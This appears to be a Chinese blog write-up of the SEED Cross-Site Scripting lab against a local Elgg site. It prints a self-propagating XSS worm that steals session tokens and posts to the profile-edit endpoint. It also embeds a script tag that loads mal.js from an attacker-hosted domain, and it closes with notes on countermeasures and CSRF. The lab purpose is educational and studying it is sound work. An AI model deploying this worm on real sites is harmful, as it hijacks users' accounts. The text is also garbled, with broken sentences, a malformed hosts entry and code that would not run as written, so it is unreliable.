Advertisement

网络安全攻击实验室 XSS 逆向分析

阅读量:

Cross-Site Scripting (XSS) Attack Lab网安实验

Lab Environment

the Apache server needs to be started.

复制代码
    $ sudo service apache2 start

3.2 Task 1: Posting a Malicious Message to Display an Alert Window

description包含

标签。

其不会被执行为

描述字段用于存储与用户相关的详细信息。
描述字段的值会被赋值为:"

Your profile have been attacked!!!</p>"。
其中

标签定义了一个段落级联布局对象。
该段落级联布局对象包含一个内部HTML字符串:"Your profile have been attacked!!!"
该字符串被包裹在双引号内以避免语法错误。
同时还包含一个嵌入式JavaScript脚本字符串:

content被赋值为token、ts以及description之和,并经过 URL 编码处理后与guid和name相加

创建一个新实例的Ajax对象。
随后执行一次 openness操作。
设置目标URL为"/action/profile/edit"并启用请求。
指定服务器 hostname为"www.xsslabelgg.com"。
设置请求内容类型为"application/x-www-form-urlencoded"。
发送待提交的数据内容。

复制代码
>
>
> 因为是自我复制,不用判断是否要对访问账户执行攻击
>
>

#### Link Approach

先在本地创建一个新的网站,名为 t.com, 用于托管恶意脚本。在/etc/hosts中添加下面一行用于DNS解析

0.0.1 www.t.com

复制代码
在/etc/apache2/sites-available/000-default.conf中添加一个网站配置,并允许跨站请求,如下:

<VirtualHost *:80>

复制代码
在命令行中输入命令启用apache自定义请求头并重启apache
复制代码
sudo a2enmod headers
sudo service apache2 restart
复制代码
创建 /var/www/t/mal.js 文件,此文件即为script标签的src属性所指向的文件

window.onload=function(){
var name='&username'+'+'+elgg.session.user.name;
var guid='&userGuid'+'+'+elgg.session.user.guid;
var ts='&tsCode'+'+'+elgg.security.token.tsValue;
var token='&tokenCode'+'+'+elgg.security.token.tokenValue;
}

const description = <p>Your account has been compromised!</p><script type="text/javascript" src="https://www.t.com/mal.js"></script>;

复制代码
	var content=token+ts+description+guid+name;

let Ajax=undefined;
// 初始化一个XMLHttpRequest对象
var xmlhttp = new XMLHttpRequest();
// 设置请求的方法为POST
xmlhttp.open('POST', '/action/profile/edit', true);
// 设置请求头信息中的Host属性
xmlhttp.setRequestHeader('Host', 'www.xsslabelgg.com');
// 设置请求头信息中的Content-Type属性
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
// 发送数据包
xmlhttp.send(content);

复制代码
* * *



### 3.8 Task 7: Countermeasures

##### 1\. Activate only the HTMLawed countermeasure


发现:htmlspecialchars比HTMLawed 的优先级低

## Ex

**Question 1** : What are the main differences of CSRF and XSS attacks? They both have “cross site” in their names.

>
>
> **CSRF工作原理** :  
>  用户是网站A的注册用户,且登录进去,于是网站A就给用户下发cookie。要完成一次CSRF攻击,受害者必须满足两个必要的条件:  
>  (1)登录受信任网站A,并在本地生成Cookie。(如果用户没有登录网站A,那么网站B在诱导的时候,请求网站A的api接口时,会提示你登录)  
>  (2)在不登出A的情况下,访问危险网站B(其实是利用了网站A的漏洞)。  
>  **XSS工作原理** :  
>  不需要任何的登录认证,它会通过合法的操作(比如在url中输入、在评论框中输入),向你的页面注入脚本(可能是js、HTML代码块等)。  
>  **区别** :CSRF需要用户先登录网站A,获取cookie; XSS不需要登录。
>
>

**Question 2** : Can we use the countermeasures against CSRF attacks to defend against XSS attacks, including the secret token and same-site cookie approaches?

>
>
> **不能**  
>  针对CSRF的防御手段侧重于防止用户的身份被盗用,而XSS本身就是利用受信任用户误发出请求,不需要伪造受信任用户身份
>
>

全部评论 (0)

还没有任何评论哟~